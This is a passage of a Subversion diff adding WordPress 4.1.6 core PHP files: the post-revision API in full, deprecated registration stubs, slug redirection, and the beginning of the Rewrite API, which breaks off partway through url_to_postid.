+			$GLOBALS['post'] = $this->post;
+			setup_postdata( $this->post );
+		}
+	}
+}
+
+/**
+ * Redirect old slugs to the correct permalink.
+ *
+ * Attempts to find the current slug from the past slugs.
+ *
+ * @since 2.1.0
+ *
+ * @uses $wp_query
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return null If no link is found, null is returned.
+ */
+function wp_old_slug_redirect() {
+	global $wp_query;
+	if ( is_404() && '' != $wp_query->query_vars['name'] ) :
+		global $wpdb;
+
+		// Guess the current post_type based on the query vars.
+		if ( get_query_var('post_type') )
+			$post_type = get_query_var('post_type');
+		elseif ( !empty($wp_query->query_vars['pagename']) )
+			$post_type = 'page';
+		else
+			$post_type = 'post';
+
+		if ( is_array( $post_type ) ) {
+			if ( count( $post_type ) > 1 )
+				return;
+			$post_type = array_shift( $post_type );
+		}
+
+		// Do not attempt redirect for hierarchical post types
+		if ( is_post_type_hierarchical( $post_type ) )
+			return;
+
+		$query = $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s", $post_type, $wp_query->query_vars['name']);
+
+		// if year, monthnum, or day have been specified, make our query more precise
+		// just in case there are multiple identical _wp_old_slug values
+		if ( '' != $wp_query->query_vars['year'] )
+			$query .= $wpdb->prepare(" AND YEAR(post_date) = %d", $wp_query->query_vars['year']);
+		if ( '' != $wp_query->query_vars['monthnum'] )
+			$query .= $wpdb->prepare(" AND MONTH(post_date) = %d", $wp_query->query_vars['monthnum']);
+		if ( '' != $wp_query->query_vars['day'] )
+			$query .= $wpdb->prepare(" AND DAYOFMONTH(post_date) = %d", $wp_query->query_vars['day']);
+
+		$id = (int) $wpdb->get_var($query);
+
+		if ( ! $id )
+			return;
+
+		$link = get_permalink($id);
+
+		if ( !$link )
+			return;
+
+		wp_redirect( $link, 301 ); // Permanent redirect
+		exit;
+	endif;
+}
+
+/**
+ * Set up global post data.
+ *
+ * @since 1.5.0
+ *
+ * @param object $post Post data.
+ * @return bool True when finished.
+ */
+function setup_postdata( $post ) {
+	global $wp_query;
+
+	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
+		return $wp_query->setup_postdata( $post );
+	}
+
+	return false;
+}
Index: /tags/4.1.6/src/wp-includes/registration-functions.php
===================================================================
--- /tags/4.1.6/src/wp-includes/registration-functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/registration-functions.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+/**
+ * Deprecated. No longer needed.
+ *
+ * @package WordPress
+ */
+_deprecated_file( basename(__FILE__), '2.1', null, __( 'This file no longer needs to be included.' ) );
Index: /tags/4.1.6/src/wp-includes/registration.php
===================================================================
--- /tags/4.1.6/src/wp-includes/registration.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/registration.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+/**
+ * Deprecated. No longer needed.
+ *
+ * @package WordPress
+ */
+_deprecated_file( basename(__FILE__), '3.1', null, __( 'This file no longer needs to be included.' ) );
Index: /tags/4.1.6/src/wp-includes/revision.php
===================================================================
--- /tags/4.1.6/src/wp-includes/revision.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/revision.php	(revision 33402)
@@ -0,0 +1,657 @@
+<?php
+/**
+ * Post revision functions.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ */
+
+/**
+ * Determines which fields of posts are to be saved in revisions.
+ *
+ * Does two things. If passed a post *array*, it will return a post array ready
+ * to be inserted into the posts table as a post revision. Otherwise, returns
+ * an array whose keys are the post fields to be saved for post revisions.
+ *
+ * @since 2.6.0
+ * @access private
+ *
+ * @param array $post Optional a post array to be processed for insertion as a post revision.
+ * @param bool $autosave optional Is the revision an autosave?
+ * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned.
+ */
+function _wp_post_revision_fields( $post = null, $autosave = false ) {
+	static $fields = false;
+
+	if ( !$fields ) {
+		// Allow these to be versioned
+		$fields = array(
+			'post_title' => __( 'Title' ),
+			'post_content' => __( 'Content' ),
+			'post_excerpt' => __( 'Excerpt' ),
+		);
+
+		/**
+		 * Filter the list of fields saved in post revisions.
+		 *
+		 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
+		 *
+		 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
+		 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
+		 * and 'post_author'.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param array $fields List of fields to revision. Contains 'post_title',
+		 *                      'post_content', and 'post_excerpt' by default.
+		 */
+		$fields = apply_filters( '_wp_post_revision_fields', $fields );
+
+		// WP uses these internally either in versioning or elsewhere - they cannot be versioned
+		foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect )
+			unset( $fields[$protect] );
+	}
+
+	if ( !is_array($post) )
+		return $fields;
+
+	$return = array();
+	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field )
+		$return[$field] = $post[$field];
+
+	$return['post_parent']   = $post['ID'];
+	$return['post_status']   = 'inherit';
+	$return['post_type']     = 'revision';
+	$return['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version
+	$return['post_date']     = isset($post['post_modified']) ? $post['post_modified'] : '';
+	$return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : '';
+
+	return $return;
+}
+
+/**
+ * Creates a revision for the current version of a post.
+ *
+ * Typically used immediately after a post update, as every update is a revision,
+ * and the most recent revision always matches the current post.
+ *
+ * @since 2.6.0
+ *
+ * @param  int $post_id The ID of the post to save as a revision.
+ * @return null|int Null or 0 if error, new revision ID, if success.
+ */
+function wp_save_post_revision( $post_id ) {
+	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
+		return;
+
+	if ( ! $post = get_post( $post_id ) )
+		return;
+
+	if ( ! post_type_supports( $post->post_type, 'revisions' ) )
+		return;
+
+	if ( 'auto-draft' == $post->post_status )
+		return;
+
+	if ( ! wp_revisions_enabled( $post ) )
+		return;
+
+	// Compare the proposed update with the last stored revision verifying that
+	// they are different, unless a plugin tells us to always save regardless.
+	// If no previous revisions, save one
+	if ( $revisions = wp_get_post_revisions( $post_id ) ) {
+		// grab the last revision, but not an autosave
+		foreach ( $revisions as $revision ) {
+			if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
+				$last_revision = $revision;
+				break;
+			}
+		}
+
+		/**
+		 * Filter whether the post has changed since the last revision.
+		 *
+		 * By default a revision is saved only if one of the revisioned fields has changed.
+		 * This filter can override that so a revision is saved even if nothing has changed.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
+		 *                                   Default true.
+		 * @param WP_Post $last_revision     The the last revision post object.
+		 * @param WP_Post $post              The post object.
+		 *
+		 */
+		if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) {
+			$post_has_changed = false;
+
+			foreach ( array_keys( _wp_post_revision_fields() ) as $field ) {
+				if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) {
+					$post_has_changed = true;
+					break;
+				}
+			}
+
+			/**
+			 * Filter whether a post has changed.
+			 *
+			 * By default a revision is saved only if one of the revisioned fields has changed.
+			 * This filter allows for additional checks to determine if there were changes.
+			 *
+			 * @since 4.1.0
+			 *
+			 * @param bool    $post_has_changed Whether the post has changed.
+			 * @param WP_Post $last_revision    The last revision post object.
+			 * @param WP_Post $post             The post object.
+			 *
+			 */
+			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post );
+
+			//don't save revision if post unchanged
+			if( ! $post_has_changed ) {
+				return;
+			}
+		}
+	}
+
+	$return = _wp_put_post_revision( $post );
+
+	// If a limit for the number of revisions to keep has been set,
+	// delete the oldest ones.
+	$revisions_to_keep = wp_revisions_to_keep( $post );
+
+	if ( $revisions_to_keep < 0 )
+		return $return;
+
+	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );
+
+	$delete = count($revisions) - $revisions_to_keep;
+
+	if ( $delete < 1 )
+		return $return;
+
+	$revisions = array_slice( $revisions, 0, $delete );
+
+	for ( $i = 0; isset( $revisions[$i] ); $i++ ) {
+		if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) )
+			continue;
+
+		wp_delete_post_revision( $revisions[ $i ]->ID );
+	}
+
+	return $return;
+}
+
+/**
+ * Retrieve the autosaved data of the specified post.
+ *
+ * Returns a post object containing the information that was autosaved for the
+ * specified post. If the optional $user_id is passed, returns the autosave for that user
+ * otherwise returns the latest autosave.
+ *
+ * @since 2.6.0
+ *
+ * @param int $post_id The post ID.
+ * @param int $user_id optional The post author ID.
+ * @return object|bool The autosaved data or false on failure or when no autosave exists.
+ */
+function wp_get_post_autosave( $post_id, $user_id = 0 ) {
+	$revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) );
+
+	foreach ( $revisions as $revision ) {
+		if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) {
+			if ( $user_id && $user_id != $revision->post_author )
+				continue;
+
+			return $revision;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Determines if the specified post is a revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $post Post ID or post object.
+ * @return bool|int False if not a revision, ID of revision's parent otherwise.
+ */
+function wp_is_post_revision( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+
+	return (int) $post->post_parent;
+}
+
+/**
+ * Determines if the specified post is an autosave.
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $post Post ID or post object.
+ * @return bool|int False if not a revision, ID of autosave's parent otherwise
+ */
+function wp_is_post_autosave( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+
+	if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) )
+		return (int) $post->post_parent;
+
+	return false;
+}
+
+/**
+ * Inserts post data into the posts table as a post revision.
+ *
+ * @since 2.6.0
+ * @access private
+ *
+ * @param int|object|array $post Post ID, post object OR post array.
+ * @param bool $autosave Optional. Is the revision an autosave?
+ * @return mixed WP_Error or 0 if error, new revision ID if success.
+ */
+function _wp_put_post_revision( $post = null, $autosave = false ) {
+	if ( is_object($post) )
+		$post = get_object_vars( $post );
+	elseif ( !is_array($post) )
+		$post = get_post($post, ARRAY_A);
+
+	if ( ! $post || empty($post['ID']) )
+		return new WP_Error( 'invalid_post', __( 'Invalid post ID' ) );
+
+	if ( isset($post['post_type']) && 'revision' == $post['post_type'] )
+		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
+
+	$post = _wp_post_revision_fields( $post, $autosave );
+	$post = wp_slash($post); //since data is from db
+
+	$revision_id = wp_insert_post( $post );
+	if ( is_wp_error($revision_id) )
+		return $revision_id;
+
+	if ( $revision_id ) {
+		/**
+		 * Fires once a revision has been saved.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int $revision_id Post revision ID.
+		 */
+		do_action( '_wp_put_post_revision', $revision_id );
+	}
+
+	return $revision_id;
+}
+
+/**
+ * Gets a post revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $post The post ID or object.
+ * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N.
+ * @param string $filter Optional sanitation filter. @see sanitize_post().
+ * @return mixed Null if error or post object if success.
+ */
+function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') {
+	if ( !$revision = get_post( $post, OBJECT, $filter ) )
+		return $revision;
+	if ( 'revision' !== $revision->post_type )
+		return null;
+
+	if ( $output == OBJECT ) {
+		return $revision;
+	} elseif ( $output == ARRAY_A ) {
+		$_revision = get_object_vars($revision);
+		return $_revision;
+	} elseif ( $output == ARRAY_N ) {
+		$_revision = array_values(get_object_vars($revision));
+		return $_revision;
+	}
+
+	return $revision;
+}
+
+/**
+ * Restores a post to the specified revision.
+ *
+ * Can restore a past revision using all fields of the post revision, or only selected fields.
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $revision_id Revision ID or revision object.
+ * @param array $fields Optional. What fields to restore from. Defaults to all.
+ * @return mixed Null if error, false if no fields to restore, (int) post ID if success.
+ */
+function wp_restore_post_revision( $revision_id, $fields = null ) {
+	if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) )
+		return $revision;
+
+	if ( !is_array( $fields ) )
+		$fields = array_keys( _wp_post_revision_fields() );
+
+	$update = array();
+	foreach( array_intersect( array_keys( $revision ), $fields ) as $field ) {
+		$update[$field] = $revision[$field];
+	}
+
+	if ( !$update )
+		return false;
+
+	$update['ID'] = $revision['post_parent'];
+
+	$update = wp_slash( $update ); //since data is from db
+
+	$post_id = wp_update_post( $update );
+	if ( ! $post_id || is_wp_error( $post_id ) )
+		return $post_id;
+
+	// Add restore from details
+	$restore_details = array(
+		'restored_revision_id' => $revision_id,
+		'restored_by_user'     => get_current_user_id(),
+		'restored_time'        => time()
+	);
+	update_post_meta( $post_id, '_post_restored_from', $restore_details );
+
+	// Update last edit user
+	update_post_meta( $post_id, '_edit_last', get_current_user_id() );
+
+	/**
+	 * Fires after a post revision has been restored.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param int $post_id     Post ID.
+	 * @param int $revision_id Post revision ID.
+	 */
+	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );
+
+	return $post_id;
+}
+
+/**
+ * Deletes a revision.
+ *
+ * Deletes the row from the posts table corresponding to the specified revision.
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $revision_id Revision ID or revision object.
+ * @return mixed Null or WP_Error if error, deleted post if success.
+ */
+function wp_delete_post_revision( $revision_id ) {
+	if ( !$revision = wp_get_post_revision( $revision_id ) )
+		return $revision;
+
+	$delete = wp_delete_post( $revision->ID );
+	if ( is_wp_error( $delete ) )
+		return $delete;
+
+	if ( $delete ) {
+		/**
+		 * Fires once a post revision has been deleted.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int          $revision_id Post revision ID.
+		 * @param object|array $revision    Post revision object or array.
+		 */
+		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
+	}
+
+	return $delete;
+}
+
+/**
+ * Returns all revisions of specified post.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array An array of revisions, or an empty array if none.
+ */
+function wp_get_post_revisions( $post_id = 0, $args = null ) {
+	$post = get_post( $post_id );
+	if ( ! $post || empty( $post->ID ) )
+		return array();
+
+	$defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) )
+		return array();
+
+	$args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) );
+
+	if ( ! $revisions = get_children( $args ) )
+		return array();
+
+	return $revisions;
+}
+
+/**
+ * Determine if revisions are enabled for a given post.
+ *
+ * @since 3.6.0
+ *
+ * @param WP_Post $post The post object.
+ * @return bool True if number of revisions to keep isn't zero, false otherwise.
+ */
+function wp_revisions_enabled( $post ) {
+	return wp_revisions_to_keep( $post ) != 0;
+}
+
+/**
+ * Determine how many revisions to retain for a given post.
+ *
+ * By default, an infinite number of revisions are kept.
+ *
+ * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
+ * of revisions to keep.
+ *
+ * @since 3.6.0
+ *
+ * @param WP_Post $post The post object.
+ * @return int The number of revisions to keep.
+ */
+function wp_revisions_to_keep( $post ) {
+	$num = WP_POST_REVISIONS;
+
+	if ( true === $num )
+		$num = -1;
+	else
+		$num = intval( $num );
+
+	if ( ! post_type_supports( $post->post_type, 'revisions' ) )
+		$num = 0;
+
+	/**
+	 * Filter the number of revisions to save for the given post.
+	 *
+	 * Overrides the value of WP_POST_REVISIONS.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param int     $num  Number of revisions to store.
+	 * @param WP_Post $post Post object.
+	 */
+	return (int) apply_filters( 'wp_revisions_to_keep', $num, $post );
+}
+
+/**
+ * Sets up the post object for preview based on the post autosave.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _set_preview($post) {
+
+	if ( ! is_object($post) )
+		return $post;
+
+	$preview = wp_get_post_autosave($post->ID);
+
+	if ( ! is_object($preview) )
+		return $post;
+
+	$preview = sanitize_post($preview);
+
+	$post->post_content = $preview->post_content;
+	$post->post_title = $preview->post_title;
+	$post->post_excerpt = $preview->post_excerpt;
+
+	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
+
+	return $post;
+}
+
+/**
+ * Filters the latest content for preview from the post autosave.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _show_post_preview() {
+
+	if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) {
+		$id = (int) $_GET['preview_id'];
+
+		if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) )
+			wp_die( __('You do not have permission to preview drafts.') );
+
+		add_filter('the_preview', '_set_preview');
+	}
+}
+
+/**
+ * Filters terms lookup to set the post format.
+ *
+ * @since 3.6.0
+ * @access private
+ */
+function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
+	if ( ! $post = get_post() )
+		return $terms;
+
+	if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type )
+		return $terms;
+
+	if ( 'standard' == $_REQUEST['post_format'] )
+		$terms = array();
+	elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) )
+		$terms = array( $term ); // Can only have one post format
+
+	return $terms;
+}
+
+/**
+ * Gets the post revision version.
+ *
+ * @since 3.6.0
+ * @access private
+*/
+function _wp_get_post_revision_version( $revision ) {
+	if ( is_object( $revision ) )
+		$revision = get_object_vars( $revision );
+	elseif ( !is_array( $revision ) )
+		return false;
+
+	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) )
+		return (int) $matches[1];
+
+	return 0;
+}
+
+/**
+ * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @param WP_Post $post Post object
+ * @param array $revisions Current revisions of the post
+ * @return bool true if the revisions were upgraded, false if problems
+ */
+function _wp_upgrade_revisions_of_post( $post, $revisions ) {
+	global $wpdb;
+
+	// Add post option exclusively
+	$lock = "revision-upgrade-{$post->ID}";
+	$now = time();
+	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) );
+	if ( ! $result ) {
+		// If we couldn't get a lock, see how old the previous lock is
+		$locked = get_option( $lock );
+		if ( ! $locked ) {
+			// Can't write to the lock, and can't read the lock.
+			// Something broken has happened
+			return false;
+		}
+
+		if ( $locked > $now - 3600 ) {
+			// Lock is not too old: some other process may be upgrading this post.  Bail.
+			return false;
+		}
+
+		// Lock is too old - update it (below) and continue
+	}
+
+	// If we could get a lock, re-"add" the option to fire all the correct filters.
+	update_option( $lock, $now );
+
+	reset( $revisions );
+	$add_last = true;
+
+	do {
+		$this_revision = current( $revisions );
+		$prev_revision = next( $revisions );
+
+		$this_revision_version = _wp_get_post_revision_version( $this_revision );
+
+		// Something terrible happened
+		if ( false === $this_revision_version )
+			continue;
+
+		// 1 is the latest revision version, so we're already up to date.
+		// No need to add a copy of the post as latest revision.
+		if ( 0 < $this_revision_version ) {
+			$add_last = false;
+			continue;
+		}
+
+		// Always update the revision version
+		$update = array(
+			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
+		);
+
+		// If this revision is the oldest revision of the post, i.e. no $prev_revision,
+		// the correct post_author is probably $post->post_author, but that's only a good guess.
+		// Update the revision version only and Leave the author as-is.
+		if ( $prev_revision ) {
+			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );
+
+			// If the previous revision is already up to date, it no longer has the information we need :(
+			if ( $prev_revision_version < 1 )
+				$update['post_author'] = $prev_revision->post_author;
+		}
+
+		// Upgrade this revision
+		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );
+
+		if ( $result )
+			wp_cache_delete( $this_revision->ID, 'posts' );
+
+	} while ( $prev_revision );
+
+	delete_option( $lock );
+
+	// Add a copy of the post as latest revision.
+	if ( $add_last )
+		wp_save_post_revision( $post->ID );
+
+	return true;
+}
Index: /tags/4.1.6/src/wp-includes/rewrite.php
===================================================================
--- /tags/4.1.6/src/wp-includes/rewrite.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/rewrite.php	(revision 33402)
@@ -0,0 +1,2178 @@
+<?php
+/**
+ * WordPress Rewrite API
+ *
+ * @package WordPress
+ * @subpackage Rewrite
+ */
+
+/**
+ * Add a straight rewrite rule.
+ *
+ * @see WP_Rewrite::add_rule() for long description.
+ * @since 2.1.0
+ *
+ * @param string $regex Regular Expression to match request against.
+ * @param string $redirect Page to redirect to.
+ * @param string $after Optional, default is 'bottom'. Where to add rule, can also be 'top'.
+ */
+function add_rewrite_rule($regex, $redirect, $after = 'bottom') {
+	global $wp_rewrite;
+	$wp_rewrite->add_rule($regex, $redirect, $after);
+}
+
+/**
+ * Add a new rewrite tag (like %postname%).
+ *
+ * The $query parameter is optional. If it is omitted you must ensure that
+ * you call this on, or before, the 'init' hook. This is because $query defaults
+ * to "$tag=", and for this to work a new query var has to be added.
+ *
+ * @see WP_Rewrite::add_rewrite_tag()
+ * @since 2.1.0
+ *
+ * @param string $tag Name of the new rewrite tag.
+ * @param string $regex Regular expression to substitute the tag for in rewrite rules.
+ * @param string $query String to append to the rewritten query. Must end in '='. Optional.
+ */
+function add_rewrite_tag( $tag, $regex, $query = '' ) {
+	// validate the tag's name
+	if ( strlen( $tag ) < 3 || $tag[0] != '%' || $tag[ strlen($tag) - 1 ] != '%' )
+		return;
+
+	global $wp_rewrite, $wp;
+
+	if ( empty( $query ) ) {
+		$qv = trim( $tag, '%' );
+		$wp->add_query_var( $qv );
+		$query = $qv . '=';
+	}
+
+	$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
+}
+
+/**
+ * Add permalink structure.
+ *
+ * @see WP_Rewrite::add_permastruct()
+ * @since 3.0.0
+ *
+ * @param string $name Name for permalink structure.
+ * @param string $struct Permalink structure.
+ * @param array $args Optional configuration for building the rules from the permalink structure,
+ *     see {@link WP_Rewrite::add_permastruct()} for full details.
+ */
+function add_permastruct( $name, $struct, $args = array() ) {
+	global $wp_rewrite;
+
+	// backwards compatibility for the old parameters: $with_front and $ep_mask
+	if ( ! is_array( $args ) )
+		$args = array( 'with_front' => $args );
+	if ( func_num_args() == 4 )
+		$args['ep_mask'] = func_get_arg( 3 );
+
+	return $wp_rewrite->add_permastruct( $name, $struct, $args );
+}
+
+/**
+ * Add a new feed type like /atom1/.
+ *
+ * @since 2.1.0
+ *
+ * @param string $feedname
+ * @param callback $function Callback to run on feed display.
+ * @return string Feed action name.
+ */
+function add_feed($feedname, $function) {
+	global $wp_rewrite;
+	if ( ! in_array($feedname, $wp_rewrite->feeds) ) //override the file if it is
+		$wp_rewrite->feeds[] = $feedname;
+	$hook = 'do_feed_' . $feedname;
+	// Remove default function hook
+	remove_action($hook, $hook);
+	add_action($hook, $function, 10, 1);
+	return $hook;
+}
+
+/**
+ * Remove rewrite rules and then recreate rewrite rules.
+ *
+ * @see WP_Rewrite::flush_rules()
+ * @since 3.0.0
+ *
+ * @param bool $hard Whether to update .htaccess (hard flush) or just update
+ * 	rewrite_rules transient (soft flush). Default is true (hard).
+ */
+function flush_rewrite_rules( $hard = true ) {
+	global $wp_rewrite;
+	$wp_rewrite->flush_rules( $hard );
+}
+
+/**
+ * Endpoint Mask for default, which is nothing.
+ *
+ * @since 2.1.0
+ */
+define('EP_NONE', 0);
+
+/**
+ * Endpoint Mask for Permalink.
+ *
+ * @since 2.1.0
+ */
+define('EP_PERMALINK', 1);
+
+/**
+ * Endpoint Mask for Attachment.
+ *
+ * @since 2.1.0
+ */
+define('EP_ATTACHMENT', 2);
+
+/**
+ * Endpoint Mask for date.
+ *
+ * @since 2.1.0
+ */
+define('EP_DATE', 4);
+
+/**
+ * Endpoint Mask for year
+ *
+ * @since 2.1.0
+ */
+define('EP_YEAR', 8);
+
+/**
+ * Endpoint Mask for month.
+ *
+ * @since 2.1.0
+ */
+define('EP_MONTH', 16);
+
+/**
+ * Endpoint Mask for day.
+ *
+ * @since 2.1.0
+ */
+define('EP_DAY', 32);
+
+/**
+ * Endpoint Mask for root.
+ *
+ * @since 2.1.0
+ */
+define('EP_ROOT', 64);
+
+/**
+ * Endpoint Mask for comments.
+ *
+ * @since 2.1.0
+ */
+define('EP_COMMENTS', 128);
+
+/**
+ * Endpoint Mask for searches.
+ *
+ * @since 2.1.0
+ */
+define('EP_SEARCH', 256);
+
+/**
+ * Endpoint Mask for categories.
+ *
+ * @since 2.1.0
+ */
+define('EP_CATEGORIES', 512);
+
+/**
+ * Endpoint Mask for tags.
+ *
+ * @since 2.3.0
+ */
+define('EP_TAGS', 1024);
+
+/**
+ * Endpoint Mask for authors.
+ *
+ * @since 2.1.0
+ */
+define('EP_AUTHORS', 2048);
+
+/**
+ * Endpoint Mask for pages.
+ *
+ * @since 2.1.0
+ */
+define('EP_PAGES', 4096);
+
+/**
+ * Endpoint Mask for all archive views.
+ *
+ * @since 3.7.0
+ */
+define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );
+
+/**
+ * Endpoint Mask for everything.
+ *
+ * @since 2.1.0
+ */
+define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );
+
+/**
+ * Add an endpoint, like /trackback/.
+ *
+ * Adding an endpoint creates extra rewrite rules for each of the matching
+ * places specified by the provided bitmask. For example:
+ *
+ *     add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
+ *
+ * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
+ * that describes a permalink (post) or page. This is rewritten to "json=$match"
+ * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
+ * "[permalink]/json/foo/").
+ *
+ * A new query var with the same name as the endpoint will also be created.
+ *
+ * When specifying $places ensure that you are using the EP_* constants (or a
+ * combination of them using the bitwise OR operator) as their values are not
+ * guaranteed to remain static (especially `EP_ALL`).
+ *
+ * Be sure to flush the rewrite rules - {@see flush_rewrite_rules()} - when your plugin gets
+ * activated and deactivated.
+ *
+ * @since 2.1.0
+ * @see WP_Rewrite::add_endpoint()
+ * @global object $wp_rewrite
+ *
+ * @param string $name Name of the endpoint.
+ * @param int $places Endpoint mask describing the places the endpoint should be added.
+ * @param string $query_var Name of the corresponding query variable. Defaults to $name.
+ */
+function add_rewrite_endpoint( $name, $places, $query_var = null ) {
+	global $wp_rewrite;
+	$wp_rewrite->add_endpoint( $name, $places, $query_var );
+}
+
+/**
+ * Filter the URL base for taxonomies.
+ *
+ * To remove any manually prepended /index.php/.
+ *
+ * @access private
+ * @since 2.6.0
+ *
+ * @param string $base The taxonomy base that we're going to filter
+ * @return string
+ */
+function _wp_filter_taxonomy_base( $base ) {
+	if ( !empty( $base ) ) {
+		$base = preg_replace( '|^/index\.php/|', '', $base );
+		$base = trim( $base, '/' );
+	}
+	return $base;
+}
+
+/**
+ * Examine a url and try to determine the post ID it represents.
+ *
+ * Checks are supposedly from the hosted site blog.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url Permalink to check.
+ * @return int Post ID, or 0 on failure.
+ */
+function url_to_postid($url) {
+	global $wp_rewrite;
+
+	/**
+	 * Filter the URL to derive the post ID from.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $url The URL to derive the post ID from.
+	 */
+	$url = apply_filters( 'url_to_postid', $url );
+
+	// First, check to see if there is a 'p=N' or 'page_id=N' to match against
+	if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) )	{
+		$id = absint($values[2]);
+		if ( $id )
+			return $id;
+	}
+
+	// Check to see if we are using rewrite rules
+	$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options
+	if ( empty($rewrite) )
+		return 0;
+
+	// Get rid of the #anchor
+	$url_split = explode('#', $url);
+	$url = $url_split[0];
+
+	// Get rid of URL ?query=string
+	$url_split = explode('?', $url);
+	$url = $url_split[0];
+
+	// Add 'www.' if it is absent and should be there
+	if ( false !== strpos(home_url(), '://www.') && false === strpos($url, '://www.') )
+		$url = str_replace('://', '://www.', $url);
+
+	// Strip 'www.' if it is present and shouldn't be
+	if ( false === strpos(home_url(), '://www.') )
+		$url = str_replace('://www.', '://', $url);
+
+	// Strip 'index.php/' if we're not using path info permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$url = str_replace( $wp_rewrite->index . '/', '', $url );
+
+	if ( false !== strpos( trailingslashit( $url ), home_url( '/' ) ) ) {
+		// Chop off http://domain.com/[path]
+		$url = str_replace(home_url(), '', $url);
+	} else {
+		// Chop off /path/to/blog
+		$home_path = parse_url( home_url( '/' ) );
